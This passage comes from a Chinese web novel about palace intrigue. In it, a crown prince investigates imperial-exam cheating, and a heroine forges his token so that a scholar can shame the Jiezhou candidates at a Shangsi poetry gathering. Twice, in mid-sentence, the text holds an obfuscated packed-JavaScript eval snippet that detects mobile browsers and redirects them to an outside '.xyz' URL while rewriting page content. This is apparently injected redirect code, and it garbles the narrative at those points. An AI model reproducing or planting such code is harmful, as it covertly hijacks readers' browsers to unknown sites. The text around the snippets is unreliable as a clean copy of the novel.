“哈哈哈………好啊！”皇帝开怀大笑，“朕还记得你小的时候，朕让你端臂执弓两个时辰，你却说什么弓无箭矢，实在寡淡无趣！” 察觉卫枢对这段记忆似乎没什么印象，皇帝的笑容渐渐淡了几分，“踏马游春是朝廷盛事，琼林宴一过，也让今年的新科进士一起热闹热闹。” 听到皇帝提及新科，卫枢修长的手指微蜷，“父皇，今科的主考官可是范昉范大人？” 皇帝笑道：“不错，范昉的学问极高，也有选拔人才的眼光，春闱过后朕还打算让他参与前朝修史。” “父皇觉得范大人人品如何？” 皇帝面上笑意骤停，蹙眉道：“范昉怎么了……你又听说了什么？” “儿臣只是随口一问！”卫枢缓缓道。 “枢儿，你实话实说，这次又要做什么？” 皇帝凝视着他，面露不豫。 自从卫枢回宫之后，他便觉得这个儿子变了许多，卫枢以前是个桀骜不羁的性子，如今却变得深沉内敛，让人看不清他心中所想。 “去年入朝，你亲手查办三位文官，惹得朝廷上下都对你极为不满。” “父皇！他们贪墨渎职，是罪有应得。” 皇帝蹙眉道：“你甫入朝堂，根基尚且不稳，不宜与朝臣起冲突。” 卫枢沉默半晌，缓缓道：“儿臣希望卫氏江山稳固，如此蠹虫，除之方可得民心。” 四下寂静。 皇帝微微动容，“皇儿真地是这样想的？” 卫枢垂下眼睫，掩去眼底深处的幽微，“如今朝廷之内，文臣结党，掣肘皇权，已失臣子本分，外面还有郓国虎视眈眈。儿臣根基尚浅，空有抱负，却想为父皇解忧。” “好！好！” 皇帝精神大振，“有些臣子，口口声声说什么社稷为重，民为贵，君为轻，何尝不是僭越？还是我儿至忠至孝。” 他凝视着自己的嫡子，蓦然想起嘉以之乱的那一年。 当时叛军一路杀到皇宫，他和郑皇后带着八岁的卫枢仓皇逃窜。 箭矢如阵雨般飞掠而下，宫中禁卫以血肉之躯挡住乱箭，待到他们跑出城门时，身边已无一个守卫。 他们栖身矮丛，眼看叛兵快要追上来，三人都做了最坏的打算。 火光渐近。 靠在他身前的卫枢突然攥着匕首冲了出去，陡然的声响吸引了所有追兵的注意。 如今的卫枢，生得眉目疏朗，清隽旷逸，与年幼时样子并无二致，只是性格清冷了许多。 皇帝心中生出几分愧意。 枢儿失踪后，起初的两年颠沛流离，朝不保夕，他还经常想起这个儿子，后来重回宫中反而渐渐忘却了。 皇帝露出慈爱的笑容，“枢儿能有此心，父皇甚慰，想做什么，尽管去做吧！” 卫枢敛袍伏拜。 抬头时，视线越过重重宫檐，高耸的城墙之外是浩瀚的沃土和巍峨的高山。 兆京城的似锦繁华隐藏在大胤曾经的支离破碎之下，掩盖着其下的风起暗涌。 8. 作伪 月落，天际微白。 冷风阵阵，柳叶沙沙，响在寂静的巷道中，分外地扰人心绪。 巷道的最深处是一间昏黄破败的屋舍，窗框晃晃啷啷地挂在墙上，地上满是碎屑。 “喀，喀……”，帘帐内，燃灯如豆，刀笔划刻玉石的声音清晰可闻。 任知宜扶了扶遮面的帷帽，掌心轻攥，望着内里的身影一言不发。 窗外浮起一缕微光，天快要亮了。 天亮之前，她们必须离开这里，这是黑市的规矩。 若东西无法在天亮之前做出来，这桩生意也要收一半的银钱，这同样是黑市的规矩。 宝珠面露焦色，正欲开口。 任知宜冲她摇了摇头，越是这个时候越要沉得住气。玉刻讲究的是凝神静气，若是此时出声催促，惹得玉匠心绪不稳，反倒坏事。 像是又过了一个漫长的夜，帐内的玉匠终于放下刀，掀开帐帘，将东西递了出来。 “成了！” 任知宜立刻上前查看，玉白如脂，雕工不错，仅有一处不明显的细微瑕疵，与卫枢手上戴的那一枚日月纹回凉玉韘极为相似。 起伏不定了一夜的心终于沉下来，只要不是亲近之人，很难分辨真假。 “好！”她吩咐宝珠，“给银子。” 玉匠擦了擦额角的汗，斜睨了她们一眼，“这东西如此精巧，恐不是寻常人家所用吧？” 隔着帷帽，任知宜淡淡笑道：“黑市的规矩，是不问来历。” “那是自然！”玉匠收了银子，笑道：“只是我瞧这玉韘样子设计得很是别致，不知姑娘能不能将你画的图样留下，我可以少收你些银钱。” 私自伪造太子之物是大罪，若不是被逼到绝路，她也不会出此下策，怎么可能将证据留在黑市。 任知宜将图纸置于灯火处，一烧即着，转瞬成灰。 玉匠面露遗憾。 任知宜幽幽道：“若不想惹祸上身，绝不要跟别人说曾经见过我们，也不要提及这玉韘半分。” 天色初明。 出了黑市，二人帷帽遮面，快步驾车离开。 宝珠问道：“小姐，接下来去哪儿？” “大胤四大书院之首，松石书院。” ———— 卫枢步出乾元殿议事堂，指捏眉心，目色微倦。 靖南道流民作乱之事，十几位朝臣议了一整夜，最终也不过是在等景相一句话。 果然是文臣之首，大胤脊梁…… 苏叶随后走出殿来，面色亦不好看。 “这些人口口声声说，要以百姓为重，却一直拖延赈灾款项，酿出这等流民之祸。” “苏叶！”卫枢低声喝道。 苏叶满腹怨愤，这个户部侍郎做得实在憋屈。 户部上下以尚书柳德马首是瞻，他这个侍郎不过是个摆设，如今酿出祸事，御史台那几个不懂事的倒来指摘他的不是。 卫枢斜眉一瞥，苏叶意会。 如今不是计较这个的时候，正事要紧。 二人回到东宫。 阖上门，苏叶低声道：“已按殿下的吩咐留下线索，让南衙卫找到了“窈娘”的尸身，他们将尸体扔在城西的一处乱葬岗。” “他们可有怀疑这尸体的身份？” “暂时没有。” 卫枢手指轻敲书案，眉心聚拢，“没有拿到名册，他们不会善罢甘休。” 南衙卫连续搜捕了数日，对外宣称，是因为一个凌香阁的舞姬刺伤当朝礼部侍郎家的公子。 “殿下还是觉得，南衙卫搜捕窈娘是因为发现窈娘偷偷记录了名册？” 卫枢背手而立，神情凝肃，“于文崇与严风一向素无交往，南衙卫怎会为了区区小事大肆搜捕，还要遮遮掩掩。” “呵……”，苏叶敛了笑容，“若真如殿下所说，今日早朝于文崇以老父年迈为由请辞，便是背后之人打算弃车保帅。” 于文崇任礼部侍郎多年，处事圆滑，人缘颇佳，他膝下有一独子，名唤于靳，好色成性，每日流连青楼舞坊。 几日前，于靳在凌香阁被一舞姬刺伤，于文崇大怒之下，找上南衙监门卫中郎将严风。 御史台听闻此事，正欲弹劾于文崇，没想到于文崇倒是自请致仕。 卫枢沉思片刻，突然问道：“于文崇可是解州籍出身？” “不错！这一次扳倒于文崇容易，但解州一派在朝廷得势已久，实难撼动。若没有十足的证据……”，苏叶瞥了卫枢一眼，斟酌道，“就连陛下，也难以动摇他们的根基。” 当年嘉以之乱，京城沦陷，数百士子慨然悲歌赴死，刀下血流成河，流淌过京城的每一个角落。 这件事在百姓心中留下了不可磨灭的印记，直至今日，文人傲骨清名，重于泰山，已成为天下共识。 卫枢背手而立，“那些解州举子呢？” “之前兆京府衙一番探查，只有于文崇有动作，那些解州举子依旧有恃无恐，忙着四处结交权贵，与他们有往来的朝官众多，一时无法判断。”苏叶道。 卫枢沉思片刻，“如今南衙监门卫坐掌京畿，炙手可热，能让他们牵涉其中的，必定位高权重。” “你是说……”，苏叶欲言又止。 他不是没猜过幕后之人是景相，毕竟他的儿子景随是今科会元。 起初窈娘说，此次科举舞弊，除了解州举子之外，还有两位京官之子牵涉其中。 当时，他猜的第一个人就是景随。 “坊间流传，景随学贯古今，文采斐然，极有可能会成为大胤第一位三元及第。” 卫枢神思微恍，想起多年前他与景随的那次相遇，少年身着白衣，一脸的冷漠和脆弱，没想到多年后竟已成为众人趋之若鹜的才子。 “一番查探之后，我发现景二公子不但不涉舞弊，还貌比潘安，才学过人，品性高洁，不赌博，不酗酒，还从不入烟花之地，不逞口舌之利……可以说，就是一个完人。” 卫枢淡淡一笑，“没想到，苏侍郎也有嫉妒别人的时候！” “非也！非也！”苏叶摇摇头道：“我只是感慨景相家风，非一般人家可比啊。” 此时，门外传来叩门声。 “林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127487|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四求见殿下。” 门开，林四卸剑而入，恭谨下跪。 “属下奉命监视任知宜，殿下之前言明不去干涉，不过此女大胆妄为，属下不敢不禀。” 林四是暗卫营第一快剑，擅长近搏暗杀，心思却不算机敏。 “她做了什么？” 林四禀道：“属下一路跟着她去了鬼市，她在鬼市找玉匠做了一枚玉韘，后来又与兆京府衙的刘府尹一起去到松石书院，见了书院的山长，徐胤台。” “徐山长？”苏叶讶道。 大胤国建有四大书院，鼎盛时期与国子监地位相当，门下弟子无数，多居高位而品性高洁，其中以松石书院声名最盛。 只是嘉以之乱，松石书院的众多弟子血溅明镜台，徐山长经此一事，深受打击，多年来深居简出，不问世事。 林四继续道：“属下隐于檐上，听到她说，太子殿下请徐山长出山，并拿出那枚黑市里做的玉韘作为太子信物，令徐山长信以为真。” “岂有此理！”苏叶蹭地一下站起身来，惊得双目圆睁，“她居然敢如此妄为，连太子的信物都敢伪造。徐山长就这么轻易相信她？” 林四道：“她先是向刘府尹出示此物，言明是太子殿下的意思，刘府尹便主动要求，要陪她前往书院。” 呵…… 苏叶冷笑，“该死！” 林四低着头，闷声道：“属下当时也是这么想。” 卫枢声音清冷，“你将她杀了？” “属下本已出剑，可是她丝毫不惧，说这一切皆是为了太子殿下的大业，事急从权，她死而无憾。” 林四从怀中掏出一封信和一枚玉韘，双手呈递上来，“她还说，殿下看过信后，自然能明白她的意思；这东西也交予殿下毁掉。” 展信一阅，卫枢瞳眸紧缩，神情莫测。 苏叶接过信来匆匆看罢，结结巴巴道：“她，她……” 那枚假的日月纹回凉玉韘被卫枢捻在指尖，他眼睫微垂，覆住眼底的情绪，“好一个死而无憾！倒是有几分手段。” 林四不明，抬起头来望着太子。 卫枢轻声道：“起身吧。” 苏叶攥着纸笺，声音喑哑，“此女行事诡秘乖张，我立刻快马出宫，去到松石书院，阻止徐山长。” “不必了。”卫枢轻声道。 苏叶急了，“殿下不是真得任由她胡作非为吧？” 书房内，燃香袅袅，缭绕而上。 卫枢临窗而立，目色悠远，“她说，朝廷上下已如一潭死水，扔个石子儿进去，根本听不见响动。你我身处其中太久，倒不及她看得透彻。” “这响动是不是大了些？”苏叶无奈地扶额，“咱们不是说好要徐徐图之！” “这几年的吏治每况愈下，文官结党成风，枉法犯律之后，总是被高高举起，轻轻放下，朝廷内外变成了两个隔绝的世界，孤就是要借这次的机会揭开这层藩篱。” “你觉得她能成功？” 缕缕清风拂过，池边树影摇动。 卫枢淡淡一笑，“搅动一池春水，惟她适耳。” 9. 曲水 杨柳飞絮，新燕琢泥。 大胤国的上巳节，曲水流觞、春歌宴饮是一贯的习俗。 曲江河畔，彩帷遍地，为大胤风雅之地。年老的长者，儒雅的文士，甚至及笄的女子都喜欢来此欣赏曲水流觞的盛况。 每隔三年，春闱会试之后，入甲的举子都会临水设宴，以文命题，以诗会友。 借着陆三爷的关系，任知宜三人得以坐到望江楼的一处高台雅座，推开窗棂，即可将曲水宴饮尽收眼底。 望江楼下，江畔有一流杯池，长三丈，宽一寻，内有曲水、石阶，众人列坐其中，一觞一咏，畅叙幽情。 任知宜侧立窗前，细细打量了一会儿，指着坐于上首的文士问道：“那人是谁？宽袍、广袖，面带微髯。” “好像是今科主考官范昉范大人。”霍思修坐立不安，“啊！连范大人都来了！” “你怕了？”任知宜秀眉一挑，额间梅花花钿轻动，现出美人薄笑的样子。 “不，不是。”霍思修咽了咽口水，慌忙摆手道：“只是心中有些慌乱。” 任知宜撩起卷帘，指着不远处大笑的举子们，“你今日若退缩，在他们面前，你们房州便永远是粗鄙之地。” 霍思修双拳紧握。 这时，宝珠端着一大碗荠菜木须汤走进来。 在上巳节喝荠菜木须汤，是中原地区的传统，传闻可祓禊除恶，祛病添寿。 任知宜盛了一碗递给霍思修，“霍书生，趁热喝。我信你，今日必能除恶扬清，荡平不公。” 霍思修胸中酸涩，强忍着眼眶中奔涌的泪意，闷头将汤喝净。 絮絮嘈声，窗外阵阵惊呼起。 众人让路，两位灰色锦衣男子阔步而来。 走在前面的人身高八尺，宽肩阔腰，双臂壮力，走起路来若流星踏步，颇具武人风范。 不像书生，倒像个将军。 任知宜心中暗奇，正在猜测此人是谁，突然瞥见他身后那个不苟言笑的年轻男子。 脸庞方正，一双剑眉，炯炯星目，神情很是肃穆。 观这形貌，似乎是，那位安州才子刘泰。 那么走在他前面的这位，难道是？ 她心中暗暗一惊，听说安州王视他为亲子，事事为他铺路，难道此人竟是安州王何卢？ 不远处的帷帐之内，另有二人看到此人，也相视一惊。 大胤有令，王侯非诏不得入京。 苏叶一句话说得磕磕绊绊，“其实，安州王是被陛下宣召入京。” 来人，确实是安州王何卢。 “皇后娘娘有意与安州王结亲……” 苏叶说完，眼观鼻，鼻观口，不敢去看卫枢的脸色。这件事连他都知道，却独独瞒着卫枢，这自然是郑皇后的意思。 卫枢果然面色骤沉，眉头紧皱。 安州王何卢原本是一名军中校尉，因为在嘉以之乱平定叛乱有功，一路扶摇而上，被封骠骑大将军。 叛乱平息后，何卢急流勇退，主动上交兵符，领了安州王的虚衔，退守安州，成为大胤唯一一个异姓王。 虽说军权已收，但是却可在规制范围内屯田养兵，这些年安州在何卢管辖下日渐富庶，不容小觑。 卫枢心中不豫，移开视线。 不远处望江楼的卷帘被轻轻撩起一角，女子的容颜一闪而过。 熠熠曦和之下，白色丝带飘于发间，若流风回雪，额间花钿色胜丹朱，释出几分惊人心魄的美。 “她果真来了。”苏叶也瞥见任知宜的身影。 “不过……”，苏叶面带忧色，“没有人料到安州王会不请自来，她可千万不要一意孤行，将情势搞得一发不可收拾。” 流杯池上，安州王与范昉互揖见礼，从容地坐于上首左座，范昉居右。 参加此次集会的多为文人士子，眼见何卢大大咧咧地坐下，举止粗鄙，大多人心中禁不住鄙夷，笑他一个莽汉出身的武将，却学人行风雅之事。 何卢手执酒杯，袍袖一挥，“今次本王是陪义子刘泰前来，你们文人弄墨的事情，本王不懂，自然也不会多言。” 任知宜听到他的话，露出几分微妙的神情，“霍书生，你与刘泰，谁的才学更高？” 称呼从霍举子到霍书生，霍思修感觉自己在这主仆俩面前的地位越来越低。他面露难色，“若传言不虚，当是不相伯仲。” “那你一会儿跟他说话的时候，尽量客气些。”任知宜不放心地嘱咐道。 “那是自然。”霍思修想当然地赞同，以文会友，又怎会不客气。 两人正兀自说话，流杯池上已起喧声。 有一举子缓缓站起，“在下解州宫北楼，我提议将羽觞置于木舟之中，顺渠池而流，流至谁的前面，谁就饮酒一杯，并赋诗一首。如今是暮春时节，不如以春为题，各位意下如何？” 原来他就是这届解州举子的魁首宫北楼。 任知宜远远望去，此人身量单薄，面瘦额窄，身上带着几分阴郁之气。 范昉轻轻点头，众人纷纷附和，场面登时活络了起来。 不多久，羽觞停在一名豫州举子的面前，他先施一礼，仰饮杯中酒，微微迟疑道：“在下豫州左池，献丑了。春风识百草，新燕啄新泥。君莫问归期，但解杨柳意。” “好！”众人拊掌，这位豫州才子的诗虽不算惊艳，但胜在清新雅意，算是开了个好头。 接下来又有几位才子赋诗歌咏，好不热闹。霍思修有些着急，“我何时过去？” 任知宜视线扫过众人的表情，“再等一等。” 酒酣耳热之际，一人微晃着身体，站起来道：“如此流觞，雅则雅矣，却有些乏味，不如我们行酒令吧。” “如何行？李兄可有建议？” “久闻刘兄乃安州第一才子，少有才名，是不是也让我们解州举子见识一下刘兄的文采。” 任知宜嘴角轻轻上扬，这个主动提行酒令的人正是冤家路窄的李佑康。 “走！时机到了。”任知宜扫了一眼霍思修的装扮，极合时宜。 那边有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127488|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个解州举子起哄道：“李兄莫不是想要向刘兄切磋？” “我哪敢啊。”李佑康笑笑：“我是想请宫兄与刘兄一试，也让我等开开眼界。” 众人齐齐望向宫北楼，又望向刘泰，一位面带笑意，神态自若，另一位神情冷漠，不置可否。 这竟是默许的意思了。原本热闹的气氛登时变得有几分微妙起来。 江畔的彩帷轻飘，祓禊的人们都被两大才子的较量吸引过来，大家静静观望着，周遭反而安静了许多。 “等一下！” 一道清婉之音响起，众人闻声望去，一道轻灵身影携江水之雾蹁跹而来。 玉色长裙随风摇曳，透着山水灵秀之美，肌肤冷白，眉眼带笑，淡静婉约。 霍思修和宝珠紧随其后。 李佑康倏地跳出来喊道：“你们来做什么？把他们轰出去。” 粗莽无礼的举动引得众人皆侧目而视。 李佑康心下懊恼，想起那日任知宜所说的“后会有期”，心中生出隐隐的不安。 他按压住性子，解释道：“大家有所不知，此女身后之人乃是房州落榜举子霍思修，他性情乖戾偏执，经常找在下的麻烦，在下刚才一时激愤，才会出言不逊。” 任知宜浅笑连连，“是谁乖戾偏执？你在春闱榜下侮辱房州学子在前，赌坊召打手殴打我们在后，桩桩件件，目睹的人可不在少数，要不要找个人来问问。” “你！” 李佑康气急败坏地要骂人，被身旁的宫北楼拦下。 宫北楼轻咳一声，声音不紧不慢道：“姑娘到底是来做什么的？私人恩怨请容后搁置，安州王和范大人都在，这里还容不得你放肆。” 任知宜面向众人敛裾行礼，仪态大方，挑不出半点差错，落在众人眼中，端静清雅，让人顿生好感。 “宫公子说得极是，小女子是陪朋友参加曲水流觞的。” 霍思修上前一步行礼，他身上所着的旧白衣袍立刻引得几人低声讪笑。 宫北楼微微蹙眉，“此处乃是会试入榜者的集会，霍公子是不是……” “古人云，君子之接如水，曲水流觞本就是以诗会友的风雅之事，宫公子莫非还要分个高低贵贱不成？”任知宜声音婉转轻柔，却字字见针。 宫北楼眸中闪过一丝阴鹜，右手一挥，“霍兄，请坐！” 霍思修谢过，却身姿不动，“在下刚才在望江楼听到李兄的提议，心中向往，也想借行酒令向宫兄讨教一二。” 这番话说得慷慨而挚诚，站在一旁的任知宜忍不住抿唇轻笑，对着霍思修点了点头。 宫北楼眉头蹙得更深，却有别的解州举子站出来奚落道：“不是我等夸口，宫兄是什么才学，你就算是讨教，也该先过了我们这关再说。” “郭兄不要……”，宫北楼突然明白任知宜他们来的意图，赶忙急声阻止，却已是来不及了。 等的就是这一句！霍思修精神一振，声音清朗而振动人心，“好！房州学子霍思修，求请解州贡士郭宪赐教。” 10. 曲水 曲江之畔，云雾缭绕，江风乍起。 被陡然喊出名字，解州郭宪怔愣片刻，方才后知后觉，对方一早就是冲着他们而来。 十几位解州举子面色都变得青白一片。 宫北楼远远地望向范昉，却见范昉只顾垂头饮酒，他心中失望，温和道：“今日乃上巳节，佳节良辰，霍兄何必非要一争胜负。” “哈哈哈！”，安州王何卢一声大笑：“这是李贡士的提议，刚才你和泰儿不是也未反对嘛！本王久居安州，就让本王见识一下真正的江南文士吧。” 不远处的帷幔轻启，又缓缓落下。苏叶转身对着卫枢笑道：“他们拿安州王当个大老粗，不料被人家摆了一道。” 卫枢淡淡道：“何卢一心为刘泰造势，想在朝中培植势力，解州一派便是他绕不过去的坎，今日任知宜误打误撞倒是给了他一个机会。” “只不过……”，卫枢欲言又止，“范昉这个人，你可了解？” “范昉也是解州人，状元出身，前年获封文昌阁大学士，我与他打过几次照面，为人低调讷言，但是官声还不错。我调查过他的私产，只有一处宅邸和几亩田产。” 卫枢点了点头，送了一块儿茶煎入口。 在众人的期待目光之下，郭宪喉头发涩，看了一眼满脸阴色的宫北楼，闷声道：“请！” 霍思修微微沉吟：“春江玉水暖，行人濯足清。” 行春令，霍思修的诗句中，“春”在第一字，则接下来的诗句便在第二字的位置，依次类推下去。 郭宪沉默半晌，应道：“暮春三月气夕佳，杨柳青青江上斜。” 霍思修不假思索：“潇潇春来晚，烟雨杏花寒。” “桃花迎春红……”，郭宪面色微白，停了一会儿继续道：“黄莺争暖树。” 此诗一出，众人失望之中带点惊讶，若说郭宪的第一句诗是差强人意，那么这第二句则是毫无可取之处，解州才子名满天下，没想到郭宪的诗作如此不济。 “夜雨残花枝惊春，江烟雾霭意浓浓。” “好诗！好才思！”人群中有学子拊掌赞叹道。 霍思修的诗作得飞快，郭宪额前渐渐渗出薄汗，“宿鸟，宿鸟归……”，面色红一阵白一阵，说不出来。 “不如请郭兄身旁的王易之王兄补句。”任知宜淡淡道，二十一名解州贡士的名字、相貌她全部了熟于心。 没过几轮，王易之也败下阵来。 流杯池前聚集的人越来越多，很多人开始对解州举子指指点点，霍思修恍若未闻，朗声再道：“房州学子霍思修，求请解州关忻行令赐教。” “房州学子霍思修，求请解州路寻行令赐教。” “房州学子霍思修，求请解州刘相永行令赐教。” ———— 一个个铩羽而归，霍思修不见之前的拘谨，越发才思敏捷，一首七言弹指即成，人群中不时地传来为他喝彩的呼声。人们看他的目光从不屑到惊讶，从惊讶到赞叹，宛如看到了一颗大胤文坛的明珠，璀璨夺目。 人潮汹涌，苏叶也不自禁地步出帷幔赞叹道：“这位霍公子才华横溢，如此才学名落孙山，真是明珠蒙尘，世道不公啊。” 卫枢抬眼，望着任知宜的笑容，缓缓道：“也许这个书生真能成为我们破局的关键。” 越过数人，霍思修走到李佑康的面前，将脊背挺得笔直，目光沉沉，“我房州并非北地穷蛮，不曾开化！房州学子同样十年寒窗，求取科举也绝不是痴心妄想。” 曾经，他还会为了这人的奚落而自缢轻生，如今想来着实可悲可笑，终究要死，何不奋力一争，打破这不公；即使只是看他们图穷匕见的狼狈，也同样畅快淋漓。 李佑康未及发作，宫北楼先一步站起来道：“霍公子才学过人，是我等妄自尊大，有眼无珠，我代李兄向霍公子致歉。” 霍思修微微一笑，“无妨！房州学子霍思修，求请解州宫北楼行令赐教。” 眼见好话说尽，霍思修仍然不依不饶，宫北楼心中怒极，面上却笑意更盛，“既然如此，宫某荣幸之至。” 宫北楼提议：“以江为名，以赋为令，霍公子意下如何？” “好啊！”任知宜拍掌笑道：“不如设置一炷香的时间。” 有人问道：“如何判断，谁写得更好？” 任知宜巧笑倩兮，“那就有劳安州王和范大人了。” 何卢哈哈一笑，摆摆手道：“姑娘太瞧得起本王了，本王于作赋一窍不通，做不来的。” 宫北楼闻言，心下稍安，却听人群中一道声音传来，“不知道老朽有没有这个荣幸做一次评判？” 一位七旬老者捻着白须，从人群中缓步走来。 “啊！是徐山长！”有人认出了老者的身份。 松石书院是大胤第一书院，虽不若当年鼎盛，但是当世有名的才子都曾在松石书院读过书。山长徐胤台乃是当代大儒，极为受人尊敬，由他来评判两个举子的才学，自然不会有任何一人反对。 任知宜与霍思修对视，眼中露出一丝如释重负。 在座诸人，能有资格做评判的无非只有范昉一人，可是他是解州籍，还是今科会试主考。若他偏向解州举子，今日只会铩羽而归；所以，任知宜不惜伪造太子信物，也要请徐山长出山。 范昉快步走过来，眸中带笑，“多年不见，山长依然健如松柏！” “范大人。”徐胤台感慨道：“是啊，一转眼，已经过了这么多年，当年书院的旧人就剩老朽一个了。” 宫北楼、霍思修等一众学子皆上前见礼，“徐山长！” 徐胤台望向霍思修，笑容和煦，“才思不错。” 霍思修闻言，激动得声音都在发颤，“多，多谢山长夸奖。” “不过，年轻人行事还是不要太过于锋芒毕露才好！”徐胤台捋着白须，缓缓笑道。 霍思修讷讷不得言。 任知宜笑着替他答道：“去尽锋芒，更无退路。” 徐胤台怔了一瞬，不置可否。 莲花形铜香炉置于方桌正中，以一炷香为限。 绢纸铺就，彤 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任知宜走到霍思修面前，声音低颤而压抑：“霍书生，你欠我的银子应该能还得上了。” 霍思修朝任知宜深深地作了一揖，“姑娘深恩，没齿不忘。” “不用这样。”任知宜伸手扶他，双眸闪动，“我说过，我有自己的私心，承不起你全然的感激。” “不管姑娘有什么样的私心，都给了霍某两个机会，霍某此生都会记得！” “两个？” 霍思修心中沉静了许多，缓缓道：“一个向生，一个忘死！” 任知宜心中一动，犹豫道：“不出一日，整个兆京都会知道你的名字。如今你已声名鹊起，我们约定后面要做的事，不需要勉强。” “不会。”霍思修望着远处重重青山云雾，神情豁然，“君子有所为，有所不为，答应姑娘的事我一定会做到。” 卫枢远远地望着二人面对站立的身影，淡淡道：“走吧！” “就这么走了？殿下不去见一见任知宜？” 卫枢淡淡道：“七日之限已到，她会来见孤的。” 苏叶轻摇折扇，缓缓叹道：“此女着实不简单啊！” 卫枢沉声道：“灵州传回来消息，任平官声清明，案子的确大有蹊跷。” 苏叶的眼神一动，“殿下想要重用她？” “今日解州一派盛名尽丧，民间很快会起流言蜚语，她行事的确聪慧果敢。” “不过……”，苏叶喃喃自语道：“此女心思深沉，市侩狡滑，我总担心她不会真心辅佐殿下。” 卫枢打断他的话，“好了，那是后话。” 苏叶摸着下巴，悠悠长叹道：“没想到，堂堂解州，百年才名，居然一朝尽毁。刚才我看宫北楼临走时的眼神，阴鹜地让人肝胆俱颤。” “解州一派，在朝中骄恣跋扈日久，迟早会有这一天。” 卫枢望着愈来愈浓的江雾，渐渐遮挡住远处的青山，“大厦将倾，时不我待。” 风起，雾终将散尽。 11. 刺杀 黑黝黝的云似要团团地压将下来，天地一片乌色，大雨顺着檐廊倾泻而下，四下空寂。 轻轻的叩门声悄然响起，三下一停，再一次三下一停。 门被人从里面打开，扣门之人一身蓑衣，头戴斗笠，已经淋成了个水人。 来人步履匆匆，不及脱下蓑衣，甫踏入厅堂便跪地哭道：“老师救我！” 厅堂座上之人纹丝不动，只是淡淡地看了他一眼，“你自己惹下的祸事，还有脸让别人救。” 声音低沉沙涩，正是景郦。 来人跪着，膝行数步，伏在景郦的脚前泣道：“老师，朝中关系盘根错节，我若不答应，日后与他们必生嫌隙啊。” 景郦怒起，右手一挥，打掉了他的斗笠，露出一张仓皇惊惧的脸庞。 “我当初真是昏聩了，居然选了你做礼部尚书！你还有脸说朝中关系，那十几份相似的考卷，听说一份就要两万两银子，你将大胤科举当作什么！” 礼部尚书肖显秀磕头如捣蒜，哭喊道：“学生，学生一时昏了头……” 景郦闭上眼睛，拨动着手中的念珠，“今日曲江河畔的事儿你也都听说了吧，你想想如何应对天下悠悠众口吧。” “学生听说，只是一个无权无势的房州举子和一个不知道哪儿冒出来的灵州长史的女儿，料想翻不起什么波浪。” 景郦冷笑，“那你漏夜冒雨前来，找本相作甚。” “听说……”，肖显秀脸色一白，嗫嚅道：“听说太子有意要查科举……” “毕竟是年轻人嘛。”景郦长长叹道：“人在年轻的时候总是有很多的想法和抱负，不像本相，已垂垂老矣。” 肖显秀惊惧不已，“听闻太子极恶贪墨，我若犯在太子手中，该如何是好！求老师给指条明路吧！” “呵！”，景郦放下念珠，动了动眼眸，“你过来。” 几句低声耳语后，肖显秀怔了半晌，一阵夹着夜雨的风穿堂而过，他的里衣早已湿透，被这冷风一吹，当真是刺骨寒凉。 景郦再一次拿起念珠，悠悠叹道：“为官者，清正廉洁乃是第一要则，你既然出了此等事，仕途就莫要再想了。” 肖显秀背脊僵直，重重地叩首，“学生明白了！” ———— 自景府厅堂而出，可见石桥架于荷塘之上，夜雨淅沥，一串串地打在荷叶上。 景郦站在石桥之上，驻足道：“把伞给我，你回去歇着吧！” 仆从走后，他穿过卵石径，花木扶疏，尽头是一座竹精舍。 精舍之内，放着一把素鸣琴。琴音清温松透，岳山处有一截断纹，极为难得。 景随一袭白衣，乌发松散，修长瘦削的手指抚过琴弦。 “今日为何没去曲江？” “不想去！”景随漫不经心道。 “你没去，刘泰也未赢得半分声名。一场曲水流觞的聚会，全给一个落榜的房州书生作了嫁衣。” “好啊！”景随小心地擦拭着琴身，嘴角轻轻勾起，“那不是正合您意！” “景随！”景郦厉声喝道：“你是我的儿子！不要一直用这种口气同你的父亲说话。” 景随手下一顿，“父亲有话直说吧！” 景郦深吸一口气，脸色阴沉，“明日你去趟范府，他是本届主考，你问问他这次会试解州举子的才学究竟如何。” “父亲为何自己不去？” 景郦冷嘲道：“你拜他为师，待他如父，由你去问他才能说实话，不要像今日这般任性。” “……” 景随眼眸微缩。 “别忘了，你答应过你娘，会考中今科状元，告慰她在天之灵，为父等着你的好消息。” 景随目送他远去的身影，眼底一片淡漠。 ———— 悦昇客栈门前，店家笑逐颜开地看着门口排起的长龙，清了清嗓子道：“上房四十两，中房二十两，下房十两。仅打尖的客官请这边移步……” 自从霍思修一战成名，每日过来找他的人络绎不绝，有的是慕名拜访，有的是求学问道，还有的想借挑战他扬名天下。 霍思修不胜其扰，任知宜倒是欢喜，找了店家商量，将这些人的客栈房费加倍，多出来的利润分她五成。 店家一口应下。 —— 入夜的兆京带着些许冷意。 摊前，三人接过热气腾腾的馄饨汤，深深地吸了口香气。 任知宜轻轻吹着热气，与他们商量道：“我打算明日拜访陆三爷，请他帮咱们租一处宅子。” 霍、宝二人面露不解。 任知宜解释道：“客栈人多眼杂，有些事做起来不太方便。” 霍思修沉默了一会儿，看看宝珠，复又看看任知宜，面带难色，“有句话霍某一直想说，不知当不当讲。” 望着二人探究的眼神，霍思修不好意思道：“你们与霍某住在一起，恐怕……恐怕于二位姑娘闺誉有损。” 任知宜和宝珠面面相觑，像是从未考虑过此事。 